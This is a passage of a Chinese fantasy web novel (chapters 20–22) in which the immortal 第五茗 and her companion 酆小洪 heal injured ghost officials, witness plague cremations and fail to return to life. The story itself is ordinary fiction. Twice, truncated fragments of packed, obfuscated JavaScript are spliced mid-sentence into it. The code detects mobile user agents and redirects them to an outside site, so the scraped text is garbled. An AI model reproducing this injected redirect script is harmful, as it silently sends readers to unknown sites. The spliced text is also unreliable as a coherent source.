第五茗重重点了点头,因旁边就是烧尸体的火堆,抬手间,让她不小心用袖子带起一缕热风,绕在额头上,白白又挨了一阵刀子剐似的疼。 第五茗深吸气道:“仙君,大度。” 她伸手便要再次去拿新生水,酆小洪却是又缩了一厘。 第五茗是有脾气的,忍着疼,放下了手,道:“仙君不给就不给吧,这点伤…哎哟…仙君抬手就抬手,轻点。” 原是酆小洪倒出新生水在手掌中,替第五茗敷在了额头上。 其实也不疼,就是突然而来,水的凉意和手掌的温热让第五茗觉得有些怪异,不得不嘴上呼“疼”来形容。 酆小洪正声道:“上君受伤,我也是不愿的。” 他低语复诉道:“以后遇见上君的‘小事’,我都会抬抬手,让你少受伤痛。” 20. 消怨消怒烧功德4 话音刚落,地上‘人’居然在叫他们,“蒲小明…酆小洪…你…你们…” 二人终于被地上蜷缩的身影吸引,这才注意到,横冲直撞的‘人’正是被留在路上的埭桡。 二人的对话,埭桡是一个字也没听清,他本就受埭骰影响,同受穿心之痛,刚才急奔而来,又和第五茗相撞在地,现在,浑身跟碎了一样,疼得抓心挠肝,恨不得再去死一次。 好不容易缓和了些,仰头四望,旁边站着的就是他要寻找的人。 没了疼痛感,第五茗思绪都要灵敏一些,柔声道:“仙君再抬抬手呗,给埭桡大哥一滴新生水?” 一滴新生水哪里够,远处还有两昏厥的鬼差,酆小洪知道她现在替埭桡讨要了,待会儿肯定是又要为其他人索取,直接把手中的玉瓶递了过去。 酆小洪目光柔和,手上动作干脆,道:“还有半瓶,上君收着吧。” 新生水虽不难采取,却不易收集,一般都是论滴来算。 第五茗已经好久没这么富盈过了,满心欢喜道:“仙君是真大度,谢谢仙君,谢谢仙君。” 玉瓶瓶拿在手中,摇了摇,她才在感触中发现,这玉瓶竟不是普通的瓶子,而是仙君们惯常携带的玉瓶。 此玉瓶非彼玉瓶,玉瓶在天冥两界,是一种和城隍官茶壶一样的法器。 仙君们放置丹炉内,用法力淬炼出瓶内之境,这样看着瓶身小小,只有手指般高矮,瓶内容量却是要原比看见的大的多。 不仅便于携带,还很雅观。 本担心新生水不够用,现在不仅够用,指不定还能有剩余,第五茗十分开心,嘴角好看地上扬着,心想:许久不做仙,竟是忘了吗!不用玉瓶,新生水怎么能保住呢!健忘!! 玉瓶比城隍茶壶还是要珍贵一点,不是它淬炼时消耗的法力过多,而是,玉瓶可保瓶内东西效用,千万年不败。 酆小洪也同她一般,肉眼可见的喜悦,嘴角含笑道:“上君不必言谢。” 礼尚往来的寒暄,在此时,不太适合过多的一而再,再而三,直到两厢疲乏。 因为,第五茗还要救鬼呢! 她转身,拔开塞子给埭桡服用了一滴,又拿着玉瓶跑到远处昏厥了的两白无常身边,一人灌下数滴。 二人各自身上的窟窿正在慢慢修合,第五茗拍了拍醒转过来的两白无常肩膀,好言宽慰道:“没多大事了,先好好休息一会儿,等身体补好了,再起身。” 看见去而往返之人,埭骰心中愧疚,虚弱道:“谢谢…小明,你…还是很好,我误会你了。” 一起受伤,一起接受帮助,自然不能只有一个人道谢。 另一白无常曾是做人而亡,生前经商,会来事却不生事,奉道修佛之余,还做了不少善事。 他眼色极好,见埭骰感恩,他也凑出力气道:“恩情浩荡,永记于心…” 似一个小道士,有板有眼,有趣的很,他手中还强撑出一份揖礼。 寻眼望去,埭桡已经跟了上来,正好瞧见这一幕。 他刚靠近,第五茗就敛了嘴上笑意,道:“你们口头上的谢意我就领了,不过,你们当心中知道救你们的人是冥界地府的上官,泰山仙府里的仙君,以后别谢错地方了。好好做事吧,就当报答他了。” 附近三人,均转动脑袋朝四周看了看。 埭骰没看见陌生的身影,先疑惑道:“我们的上官?还是泰山上来的仙君?仙君人呢?” 第五茗背手,向酆小洪的方向看了两眼眼,见那人守在鬼魂身边,目光一直回望着他们,她浅笑道:“仙君还有要事,搭救我们后,自然便离开了。” 埭桡听见此话,自是知道她在遮掩。 即便如此,他心中依旧十分震惊:原来酆小洪真是泰山上的仙君。 他知道,第五茗这话明着是说给地上重伤的二人听的,实际上是想让他心里有个底,也让他们三鬼差明白,为地府效命是一个不错的选择。 遂不好意思,埭桡侧了身子,朝第五茗和酆小洪的方向,学着地上白无常的动作,中规中矩地行了几个揖礼感谢。 再抬头起身时,村子里,浓雾渐渐深了起来,从远处还陆陆续续穿梭过来几人。 酆小洪先其他人瞧见这动静,目光一锁,发现一抹熟悉的身影。 看了眼第五茗,瞧见她眸中未有做司命时的闪烁,心有忧虑地走到第五茗身旁,他关心道:“上君,有人过来了。” 他眉间愁绪,第五茗看得是一清二楚,担忧道:“不会又是送葬队伍吧?” 揉了揉眼睛,眼前除了浓雾,还是浓雾,她叹息道:“这眼睛算是废了,什么也看不见啊。仙君你快说说,看见什么了?” 一双神目,果然毁了。 酆小洪沉吟片刻,似还在确定,道:“上君眼睛受伤了?” 荒郊野岭,不留意好四周动静,搞不好又要遇见送葬队伍。现在负伤了两无常,旁边还有一堆鬼,若真像风雨江上再来一个措手不及,第五茗当真是得放两碗血了。 她仔细瞧着浓雾里的情况,下意识有一说一,答道:“嗯,早些年坏掉的,被火还是冰给伤着了,到也没什么大不了,比凡人视物的能力还是要强一点,只是没了神力而已,反正现在的天庭也不需要我这双眼睛了。” 虽然早有心理准备,但听见第五茗毫不在乎地说出口,酆小洪还是不忍地心中一颤,柔声道:“不必紧张,虽是一支队伍,却没有那些东西。” 过了好一阵,第五茗和其他人才听见雾中踩踏落叶的声音,和一些丧葬吟唱的靡靡之音。 也如酆小洪所言,杂乱的声音中,并没有鞭炮声和谷粒等物什砸落的响动。 须臾,第五茗等人方瞧清,穿浓雾而来的众人,是一群村民。 他们蒙着面,身上裹着麻衣,手中抬了一具相同衣物,却油纸布遮面的人。 队伍稀稀疏疏,零星散乱,空中偶有‘大铜钱’飘落。 正是出了城隍庙,一路所见之景。 不过,这一行却是送葬,他们抬的估计是感染瘟疫病死的人,所以才全身遮覆。 此行自当也应该不是入土,而是去火葬,瞧前行的方向,目的地是第五茗他们一行人旁边的那堆烈火地儿。 如他们所料,行至烈火前,众人就停了下来。 烈火里还有未烧尽的焦黑尸体,火堆旁也还有一堆未投入火堆的掩面尸体。 他们看不见一旁的第五茗等人和那群相熟的小鬼,迎着烈火旁的阴风,把手中的死尸,用两根木棍撬进了火堆里,火光刚烧走尸体上的油纸布,旁边的小鬼们便大声惊呼起来:“医师…” “村长!” “他怎么也下来了…” “鬼差大人,您先把他从火里带出来吧。” “他是大好人!!” “他可是我们村的大恩人啊!” “怎能让村长的魂魄受烈火灼烧…” 被烧之人,是这村子的村长,懂些岐黄药理,大水来时,不仅收养救治为洪水所伤的病患,还在大水过后,组织乡里预防疫病,因此,保住了村子里一大半的人,让有些家门不至于断子绝孙。 远近乡里,对他是敬之爱之,无不尊重。 是以,在眼前重灾重难的境遇之下,村里人依然为他举行了小小的送葬仪式。 鬼魂嚎叫声越来越大,越来越凶,可是那白无常受了重伤,哪还能起身去带小鬼从火里走出来啊。 这事,也不属于第五茗和酆小洪可管,勾不了魂,也就不好插手,只能等那白无常恢复身体。 至于埭桡,因埭骰才出了事,他心中多了一分思量,现在不过是一群鬼叫,不足为惧,就先紧着受伤的两无常照顾。 又再看火堆这旁,村民听不见,抛完尸,觉得风势太大,把带来的材火钱纸也都扔了进去,让火烧得旺盛一些,接着挨个挨个地在火堆边开始叩拜。 结束后,队伍最后面提竹篓的壮汉,掏出一把草药,用火堆里的大火,引燃了药草,让药草烧出滚滚浓烟,对刚刚叩拜在地的人,一人一拂,驱散什么似的,将浓烟充盈全身。 一番折腾,众人才齐齐离开火堆和地上尸体,远远地站着。 其中有一人倒是不太一样,身形比起壮硕的村民,虽高挑,却显得更加文弱,露在掩面布巾外的双眼,血丝遍布,疲态难挡。 那人接过壮汉手中的草药,步伐恳切地回到火堆旁。 提竹篓的壮汉,语气生冷,隔着远远的,道:“人都在这里了,你自便吧。” 那火堆旁的人,端正身子,躬身行礼后,儒生儒气道:“多谢各位,如今疫病的治疗法子已经下来了,各位只需要做好防疫,定会平安无虞,这里…交付于我,定会妥善处理。” 提竹篓的壮汉对周围村民,高喊道:“都回吧。” 众人听话的转身离去,嘴里却停不住地嘀嘀咕咕:“就这么放过他了?” “他一个人能处理干净吗…别到时候留下点什么。” “十里八村的烧尸地儿,好像都是这人去打理的,朝廷的药方子也是这人带来的,应该没问题吧。” “管他呢,死了这么多人,死马当活马医,试试呗。” “可怜村长了…”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547198|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > … 那人好像不怕疫病,他用手里的草药把尸体扫拂了一遍,徒手一具一具地把尸体搬进了火堆里,利索地从四周寻了一大捆干材丢进去,把火烧得熊旺。 这还不够,他又去寻了一把草药烧成灰,细细地把尸体沾染过的地方铺洒上一层。 大半晌过去,烈火将尸体烧化,他摘下掩面面巾,和裹身麻布扔进火里,寻了一块大石头休息。 脱掉防疫的物什,方才让小鬼们瞧清楚,这人居然是一赶路人。 文人模样,穿的是一身束袖灰衣,身后背着同色行囊,虽灰尘扑扑,却能从布料上的走线看出来,人是讲究人,穿衣选的是临安郡铺子里才能买到的好货。 他那头上簪冠的发髻,毛毛躁躁,塌塌软软,显然是把戴好冠的发髻,中途取了冠和簪子才会这样。 那人脚上沾染泥垢的厚底皂靴,早看不出模样,不然第五茗定会向无事不知的酆小洪多问一句,“这人做过官?” 一旁吵闹的鬼魂,因心愿迟迟没有得到了解,生出鬼怨,吸引了第五茗的注意,她提醒地上肚子刚补好的白无常,道:“火里几具尸首的魂魄,最好快些牵出来,不然你那群小鬼迟早又要生出一些事。” 又是一揖礼,白无常点头道:“多谢提醒,我马上去。” 同为白无常,比起埭骰来说,这位白无常倒是个勤快聪明的,话还没说完,已经腾起身子朝火堆旁奔去。 对于他人,酆小洪一贯置之事外,小鬼们的怨气并没有让他上心半分,他提醒操心的第五茗,道:“还阳一事上君不急了吗?” 饶有趣味,他皱眉暗示道:“时候也不早了,需得继续赶路。” 糟了!第五茗忙着忙着,把还阳的事给忘了! 她急忙对地上的埭骰埭桡,道:“埭骰大哥,埭桡大哥身上的洞,其实补上了就无事了…要不还是继续赶路?我们二人还急着去还阳。” 看似问,实则是提醒此行目的,和酆小洪提醒她一样,只是提醒,大致别无二意。 埭桡慌了神,他居然也给忘了,急忙拉起地上的埭骰,摸了摸对方胸口,确认无虞,重重道:“上路,上路!” 一手架着埭骰身子,一手搂着埭骰肩膀,急促慌乱不堪,吭哧吭哧地朝前走去,嘴里不忘汇报道:“我们在前开路,二位跟上…” 经刚才一事,他终于不再把身后两人当小鬼。 四人离开后,那在大石块上休息了一会的赶路人,从包袱里掏出一块刻好字的牌子,插在火势渐小的灰堆旁, 他诚心三叩九拜,道:“罪人郤人杰,一遭承百姓宏愿,曾立大志,许豪言,当如大盛宰相蓟安塬,平过水湖风雨,守江岸无虞,却在洪雨之际,泄过水湖之水,毁江口堤坝,引灾难至此。舍各位周全是郤人杰之罪过,不求原谅,无妄逃脱,只能跪辞于青灰前,以此薄弱之身奉上,请逝者息,愿诸魂安。” 原来,他就是临安郡风雨江使郤人杰。 绿壳龟妖阮瓀所寻之人。 大水灾祸的引发者。 一旁的鬼魂,原焦躁不安,均在争执:“为什么会死?” “村长这种好人也不长命…” “命怎么这么苦!” 鬼怨黑气越来越浓郁,却在郤人杰跪拜在地后,逐渐安静了。 转而,群鬼面色由青变白,恢复如常,稳定了下来,他们开始嘴上不停,换位思考,同情道:“郤大人,是个好官的啊…” “对啊对啊,这天灾谁也说不准的。” “他上任以来风调雨顺,也就今年…” “听说,大水来时,本来遭殃的应该是整个临安郡,多亏郤大人大水炸了水坝。” “是啊是啊,若不是过水湖此时不得不泄水…” “世事难料,他们做官的也难。” 上任前,再三叮嘱小心行事,谨防生出异变,白衣无常正苦恼群鬼中渐渐生起的黑怨之气,现下,却是一丝黑影也瞧不见了。 顾不得那么多,他立即给群鬼锁上铁链,拉向村子里的土地庙。 独留一地青灰,和跪地之人。 阴风散去,日头虽落,但温度却慢慢回升,郤人杰额上大汗淋漓,一番请罪后,腰身不支地瘫软在地。 粗口喘气,缓了好久他才顺势匍匐坐起,掏出包袱中的一本册子,捡起面前没烧尽的炭棍,磨尖了一端,在册子上仔细勾画。 默声清点,册上字迹均有一道划痕后,郤人杰把册子收回了行囊,从青灰里刨出一根长长粗粗的材木,拄地站了起来,像一位暮年老人,步履蹒跚地朝第五茗等人离开的方向而去。 21. 消怨消怒烧功德5 前方,郤人杰未到过的村落,处处皆是浓雾不散,火光隐现。 平安村亦是如此。 石料场亦当如此。 粗看之下,石料场上除了石料什么也没有,原先用来休憩的棚子,还剩一小节短桩插在土里,空地上却是多出来一堆熊熊大火,隐约还能分辨出,里面躺着的是一百九十九具尸体。 因平安村的老翁十一伯,正和许多乱糟糟,大小不一的材火篷布守在两尺开外的地方,让来人能清楚知道,这火堆里烧的,就是平安村村民。 十一伯憔悴不堪,身形羸弱,手里挑挑拣拣,时而扔一两节小木头,嘴里痴痴哼唱道:“万事无不尽,徒令存者伤…” 气息颤颤,仿佛下一字,他音丝就要戛然而止。 那是他从镇上听来的悼词,因为好听,一直默默记着,准备自己辞世时,让别人唱给他听,谁曾想,竟是先让他唱歌给了别人听。 而这别人又不止一人,是他最熟稔的一整个村子,悼词的哀悲顺着唱声传遍石料场,让靠近这方的四具幽魂听了个仔细… 脱离□□后,入了一回土地庙折腾,又去了一趟城隍庙,耽搁好几日,就算有什么天时地利人和,也早就被白白消耗掉了。 很显然,四人再度回到石料场时,已经是迟了。 埭桡一脸惊慌,试图能在火堆里搜寻出「蒲小明」和「酆小洪」的尸体,可火里焦黑一片,除了人形健在,哪还能分辨的出哪具是哪人,他心中顿时慌张,手忙脚乱地在火堆里穿梭。 反观埭骰,他倒是镇定,面上没有任务未完成的焦灼,而是一脸愧疚地站在火堆旁,在埭桡的碎碎念中,傻傻地看着十一伯身旁驻足的两人。 他只是不解… 正常来看,最应该火冒三丈,焦急如焚的当事人,为什么没有生气? 没有生气不说,居然还在看见烧尸体的大火后,只是各自淡淡道了句“晚了…”互相看了一眼,就没了话了。 不是那二人没有反应,是两人心知肚明,「蒲小明」和「酆小洪」此行还阳,希望渺茫。 不能还阳的原因嘛,第五茗还在等…酆小洪则还不能说… 因死身就在附近,鬼魂自由度大上许多。 二人听闻悼词心中微微一颤,已见事实,就没有跟着埭骰埭桡继续去往火堆,在经过十一伯身旁时,停了下来。 老翁呼吸越来越急促,第五茗蹲了下来,仔细查看了十一伯面色,叹息道:“十一伯寿数是到今日了吗?” 见过不少亡魂,瞧过不少人死身前一刻的模样,可却因为还身在故事中,她竟有点不愿意直言相熟之人的生死期。 酆小洪也蹲了下来,手心拂过十一伯口鼻,替他顺走了最后一缕气息,道:“寿终正寝,不算坏事。” 被别人安慰还是头一次,第五茗站起身,退后,道:“曝尸荒野,无人敛尸,善人命苦。” 头一抬,她心里咒骂道:司命府的仙君就都该先从凡世走一遭,再去写故事,不然老是写些不过脑子的命数,看得人心堵! 酆小洪站了起来,整理衣服,指了指没烧尽的火堆,道:“上君想替他敛尸?” 她的确想。 垂下头,盯着酆小洪法力浑厚的双手,第五茗揉了揉手腕,失落道:“我没有这个能力…” 忽然目光一挑,她眼含期待,暗示道:“仙君可以吗?” 酆小洪摇了摇头。 第五茗有过先前见对方动作和话语不统一的经历,眼中期待不减,试探道:“是行…还是…” 酆小洪依旧微微摇摇头,脚下半步上前,回答道:“不行,但…” 做仙的,都喜欢仗着神格法术可以推算弱小命数,而常故作玄虚之态。 此时酆小洪上前半步,微微倾身的模样,太让人眼熟了,第五茗以前可是常常这般装模作样,尤其酆小洪那‘但’字,太有天上的味了。 她遂有样学样,甚至比酆小洪还更有派头,面上故作疑惑,挑眉复述道:“但?” 果不其然,酆小洪道:“但会有人来做这事。” “哦…” 第五茗见酆小洪说得肯定,知晓他定是私下里卜算过了。 明知为仙的,喜欢以‘天机不可泄露’来挡话,她还是因酆小洪刚刚突然摆弄的姿态,起了挑逗的心思,顺口道:“何地?何人?几时?以何方式?” 这非认真追问。 语气也就十分随意… 因神仙若是答了,便是真的‘泄露天机’,是必要受到神格带来的一点点惩戒反噬。 可她四问刚出口,就听见对方回答道:“此地,风雨江收尸人,一个时辰后,草药驱疫,火葬肉身。” 酆小洪胸口微微起伏,嘴中上溢的气息被他以手合掌,压了下去。 无关紧要的小事,为何要答。 第五茗赶紧从腰间掏出玉瓶,双手奉了上去,道:“仙君这是做什么!你听不出来吗?我只是随口问问,这种事怎么能答呢?你不知道有一词叫‘天机不可泄露’吗…” 会摆谱子,就不会挡话吗!!蠢!愚蠢小仙!! 接过第五茗手中的玉瓶,引出一滴服入口中,血色气息平了下去,酆小洪才慢慢道:“没想那么多,上君问了,我就答了。” 第五茗辩道:“你是有神格的仙君,不是平安村的傻子…我是说你不是平安村的酆小洪,没必要我有问你就答。” 话中意思没问题,可酆小洪却突然沉默了。 有问就答,若寻便应,真的是平安村酆小洪的行为吗? 起初,这话的确是由身为「蒲小明」的第五茗,对傻子酆小洪提出的要求,可若第五茗仔细点,对酆小洪多上点心,便能发现,早在酆家夫妇丧命那日后,这话中事就已经在执行了。 一直到如今,他仙身归位,一路行来,都是知无不言言无不尽。 酆小洪眼含希冀,祈求道:“上君为何不再多问一些?” 第五茗没有回应,他失落,目光游走,落在远处火里的焦尸上,改而继续劝道:“上君其实可以再多问一些…” 摇摇头躲避,第五茗一口拒绝道:“我不问。” 她心中想的是:你想遭反噬,也不嫌疼得慌。 砰!嘣~咚~ 火堆处,支撑棚子的竹节在里面噼里啪啦地爆开,把火堆里的埭桡一炮惊出,惊跳到了第五茗和酆小洪面前,阻碍了两人的对话。 他落下前,酆小洪眼明手快地拉着第五茗退了两步,躲过砸下来的危险。 火堆的动静,和猛然落地的重击声,把发愣的埭骰带回了石料场,他受了惊吓,跑跳过来,不忘关心地上的人,道:“埭桡,你没事吧。” 尘烟四起,埭桡连咳数声,双手撑地,从地上爬了起来,一边拍着身上的灰,一边道:“没事没事,不疼…” 激起的尘土刚落了下去,埭桡就看见了近在咫尺的两名‘还阳’受害者,他们用红色大袖捂着面,双双漏出一双眼睛,盯着他。 眼神估计能吓鬼,埭桡又跌了回去,好在这次不用他自己爬起来,埭骰从地上将他一把捞了起来,替他拍打身上尘土,碎念关心道:“怎么了?被爆竹吓腿软了?怎么站都站不稳了…小心些。” 他不知,埭桡却比他清楚面前两人‘厉害’的很。 埭桡暗地里拉了拉埭骰,躬身作揖赔礼,见不明所以的埭骰,在他暗示下,也躬身赔礼,做出道歉的姿态,他才颤颤巍巍道:“实在对不住二位,刚刚在火堆里寻了一百九十九副焦皮裹骨的肉身,也不知哪具是二位的…” 四周尘雾消失散去,第五茗放下手,正拍打身上沾染的灰尘,听见了埭桡这话,忍不住笑出声,发问道:“埭桡大哥,若是找出来了,你难道还要把我们两人送进两具…” 扫了眼快要成灰的尸体,她道:“炭…里?” 那边哗啦啦一阵,叠放的尸体,随声轰然倒下。 在火堆里,挤压一片,这下…一百九十九具尸身更是难以分辨出哪块是脚,哪块是头,更别说哪堆是哪具尸身的了。 埭桡低头侧望火堆,摇头道:“不是…怎么会…刚刚还能看出是个人形…这么快就烧没了…” ‘啪!’ 又一竹筒爆裂,轰隆隆一阵,叠压的残肢受爆炸影响,在火里断裂成块。 埭桡面色铁青:真成炭了。 哀叹一声,转回头,正好遇见埭骰侧脑看过来的脸。 埭骰的眼皮一搏一搏,看着像在抽搐,又一眨一眨,似天上繁星,但这抽搐和繁星慢慢地改变了眼眶里眸子的视线,指引埭桡向身旁另一侧看去。 顺着转了过去,埭桡不用探寻,就能看见一个‘人’,正是刚咽了气的十一伯的尸体。 他心中虽有顾虑,但还是在迟疑中,抬起头,指着十一伯尸体,看向酆小洪,提出口道:“若是不介意,这里还有一副肉身,「酆小洪」先还阳,可好?” 视线一移,他又转向第五茗,道:“女尸的话,我再寻寻?” 身旁埭骰明显松了一口气…还阳一事,他们二人总算有出路了。 炭火黑烟突然四起,如一路所来之景,要吞噬这里。 任黑烟飘荡,也没能遮住埭骰埭桡面前人的动静,那两身红衣,仿若静止了。 本来还在拍灰的手,也停了下来,本来还在嬉笑的人,嘴角也僵硬住了。 陡然,那僵硬的嘴角动了起来,噗呲一声,此间开始回荡起大笑声。 但闻笑声中有一无力的斥责,“蠢材!” 因笑声太大,如洪铃震耳,四人耳朵都充斥着女子停不下来的‘哈哈哈哈…呵呵呵…哈哈哈哈…’声,斥责声就显得不是那么明显了。 一人红袖拂扫,黑烟散去,第五茗面前两无常竟没了踪影。 第五茗喃喃道:“人呢?没感觉到妖气啊…” 低头见十一伯尸体安然躺着,摇了摇头否定了有尸傀出没的结论,回头,第五茗才发现面前多了一道红影。 正是酆小洪。 他像是没听见第五茗自语,一手拂袖扫烟,转身,一手把玉瓶还给了第五茗,另起话题,声音沉钝发问道:“肉身已失,上君作何打算?” 衡量下来,这事比无常消失是要更棘手一些,也和第五茗更有关系一些,也算是比其他事更重要一些… 她停了笑声,低头小心收捡玉瓶,顺带反问道:“仙君觉得呢?” 她头顶声音传来,酆小洪却道:“不知…” 过了一会,她才又听见对方严肃道:“不知上君想如何打算。” 这话里有话,他是不清楚第五茗心中的想法,而非对还阳无果这事没有想法。 和第五茗反问的那句‘仙君觉得呢?’一样,看似在问,实则是在说‘你要先说你的态度,不能先问我。’ 一来一回,两人话未说尽,化外之意,却是一点没少。 第五茗低着头,仔细琢磨怎么接话,忽然大惊失色,“啊”的一声叫了出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547199|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她发现了刚刚消失的两无常。 二人正露着两颗脑袋,在地上晕头转向地翻着白眼。 又把人踩下去了! 真是太任性了… 抬头,第五茗指了指地上人,让酆小洪看看脚边情况,道:“仙君,要不先把人拔起来再说?” 对方看见地里插人,丝毫没有震惊,让第五茗确认了眼前事就是面前人干的。 她对这份力量无奈妥协,先一步作答刚刚两人讨论的问题,道:“不管是去地府还是留在人间,我都可以,但不管那一样,我们两这一路暂且还离不了他们二人。” 酆小洪估计还在气头上,只看了两眼,并没有立即把人拔出来。 生气了!! 绝对生气了!!! 小命最重要,第五茗也不绕弯子了,直接道:“活人寿数不是小事,我们可以先入鬼门关,待到十殿阎罗那里问问,枉死城如果真如常大人所言住不进去了,那便在阴间游荡游荡,无聊的话就去寻一职鬼差做做…反正,我们不管怎么样,都是要先入鬼门关。” 最后,不忘再提醒一遍,她道:“仙君,还是先把人放出来吧,我们真的需要他们二人。” 酆小洪一脚一头,将两人完全踩进了地里,道:“好。” 嘣! 旁边空地裂开,蹦出两泥土满身的黑白无常。 埭骰晕头转向地发问道:“地震了?” 埭桡也神志恍惚道:“山崩了?” 第五茗摇摇头,道:“没有,刚刚起雾,二位大哥摔泥里了。” 闻言,二人左右查看,果真有一绊脚的泥坑。 埭桡先看见自己一身泥土,啪啪啪…拍打起来,顺手还给埭桡拍了拍。 泥土簌簌掉落,埭骰关心起面前二人,道:“你们没事吧?可有摔着,磕着?” 他眼神丝毫不离第五茗。 若是他知道是面前其中一人把他们兄弟二人‘踩’成这样的,多半都要后悔此刻这份心思了。 天色不早,第五茗捡着重要的事,道:“埭桡大哥,先前你说的借尸还魂之事,实在不可为,先不说十一伯身体薄弱,且他已上了年岁,就算强行借尸还阳,过不了几年,这身体就无法行动了,我们可是还有二十五年寿岁…” 埭桡自责道:“的确是我考虑不周。” 埭骰在一旁补充道:“要不去邻村寻两具年轻点的尸身?” 语毕,但见酆小洪额间生出几丝黑线。 反观第五茗,因为故事听得多了,见怪不怪,对凡人鬼魂都要多一份耐心。 她道:“还有一点,可能二位不知,借尸还魂是大忌,于鬼身不利,于□□而言,多生事故。” “魂魄占一身,而这一身是根据六道投入人间的三魂所聚,也就是俗称的七魄,这七魄乃是天地最有灵性的,非原主三魂不可。” “怎么说呢…就好比一个人喜欢吃素,你却非逼着他吃肉,那就算是这口肉咽下去了,这吃素的人,忍得住咽下去的那一瞬间,难道就能忍得住腹内翻江倒海的抗议?所以这肉,迟早都是会被吐出来的,而被吐出来的肉,就不再是肉了,可能是一堆烂泥,可能是一滩污水,最终,都是变成令人作呕的脏秽物。” 埭桡吃惊,刚刚竟差点良成大祸,对深谙鬼差之事的第五茗,敬佩道:“是我们莽撞,受教了。” 在城隍庙打听还阳之事时,同僚都未提及此事,听闻此话,埭骰心中也十分愧疚,对第五茗和酆小洪施礼,道歉道:“对不起…” 第五茗笑道:“不知者无过嘛。” 看了眼酆小洪,又用手肘戳了一下对方。 好在为仙者,也大度。 第五茗的小动作,让酆小洪没了脾气,点头附和道:“嗯…” 对于埭骰埭桡他没有过多言语,抓回重点,又道:“现在需要你们二人领路上鬼道,送我们入鬼门关,待我们到十殿阎罗那里,他们自会安排去处。” 埭桡道:“常大人把路引都收走了,我们身上倒是有冥钱黄纸能带你们二人去鬼道,可没办法让你们在无路引的情况下到鬼道上走动。” 鬼道是鬼行的通道,和人间道路是一种,只是鬼道的终点是鬼门关,人间的道路则四通八达,可以去往人间的任何城池。 而鬼魂上鬼道,如人入城门一样,需要通牒,得到一方许可才能继续前行,否则,将会被永困道中。 路引又正是鬼魂们上鬼道,入鬼门关的通牒。 第五茗莞尔,道:“这个无妨,可以寻平安村土地酸楂再为我们二人开一份。” 埭桡道:“也行。” 不做犹豫,准备带着二人赶往平安村土地庙。 他手上却是一触,第五茗拦住了他。 第五茗指着十一伯尸体,道:“埭桡大哥把他人魂勾出来吧。” 一般索命勾魂,都是根据泰山东岳仙府的指令,和当地城隍官的安排。 埭骰先一步,无奈道:“我们没有拿到这老翁的地域名册。” 第五茗柔声道:“可以先用索命钩把魂魄勾出来带到土地庙去,他少受一些困在肉身里的苦楚,也可避免魂魄滞留在此处生出其他事来。” 埭桡赞同道:“有道理。” 埭骰孜孜不倦道:“是拿到他的地域名册,再到土地庙内办路引,送他上路吗?” 第五茗点头肯定后,他便和埭桡两人前去勾魂。 这时,酆小洪搭话道:“上君,可想见那收尸人?” 22. 消怨消怒烧功德6 看样子收尸人有来头… 第五茗点头道:“想。” 时间过得很快,月牙出现在了山峰处,另一边却还有点光的日晕,从第五茗向酆小洪发问到现在,只差一刻便是一个时辰了。 再等片刻,那收尸人就会来。 材火篷布旁,在埭桡的大钩子做法下,拉起来一个和上面躺着的老翁,模样穿着都一模一样的人。 十一伯看见酆小洪和第五茗时,明显顿了一下,随即,喜出望外,神情明朗,刚走出两步,身边像有无形墙壁拦住了他的去路。 埭桡拉住十一伯双手,给他一边绕上铁链,一边道:“小鬼勿动,死后所行都要听我等鬼差之言”。 十一伯是个老实人,活了几十年,也见过能人异士,知道是受困于鬼差,听话的止了动作,闭了嘴。 埭桡朝身边招呼道:“埭骰,你去带他们二人过来,我们准备上路吧。” 刚走近,埭骰就听第五茗道:“埭骰大哥,土地庙我们就不去了,我们二人在这里等着,你们取了路引,我们就直接上鬼道,不然折腾一番,又会耽误。” 十一伯还在朝这边张望,第五茗又嘱咐道:“到了土地庙,还请让土地酸楂多照顾十一伯一二。” 凡人一世,缘到此已经了了,再继续下去,便是命数有异,视为不对。她拜托了埭骰关照,又带了话,对于十一伯的招呼,她最终选择了视而不见,让对方在一阵落寞中离去。 埭骰应道:“好。” 两无常一鬼,前脚刚走,第五茗没有功夫多想,远处平安村入石料场的石洞,就窸窸窣窣传来了脚步声。 离酆小洪推算的时间早了一刻… 第五茗心想:这仙君道行也不行啊,时间都卜算错了。 然而,那百米洞中,脚步声虽一直在响,洞口却迟迟没有人影出现。 两人虽都盯着洞口瞧,但酆小洪更多时候,注意力还是在第五茗身上,见她皱着眉,手上小动作不断,像在计数,疑问道:“上君,可是有什么苦恼之事?不妨说出来…我也能帮着你想想。” 第五茗道:“你可知那山里我们凿开的洞?” 酆小洪道:“嗯,为了方便搬运石料,村里人挖的。” 手指折算着,第五茗幽幽道:“我记得就百来米,一半是天然溶洞,一半是我们挖凿,洞口有数十丈宽,就是我们凿的那一段也有两人宽…我没记错吧?” 转回头,不再盯着洞口,她等着酆小洪的答案。 酆小洪点点头道:“嗯,是这样,没错。” 第五茗眉头细细打量那双法力雄厚的双手,没有符诀,不解道:“为何脚步声早就响起,那人却是一直没出现!” 还是怀疑的问出了口,她道:“莫非是仙君从中…” 熟悉的执着,熟悉的对小事着迷。 酆小洪微微一笑,柔语辩解道:“不是我。” 停顿片刻,他不算反猜测道:“许是山洞里有东西,是不是十一伯为了火葬我们,带了些材火堵在洞里呢?” 第五茗发问道:“为何这样认为?” 酆小洪答道:“有一些蛛丝马迹可寻。” 瞭望四周,空旷无野,根本没有什么有用的线索,第五茗道:“你说说…不许使法力。” 酆小洪笑道:“好。” 他继续答道:“第一,十一伯手上的老茧有豁口,那是砍材时会留下的伤口。” 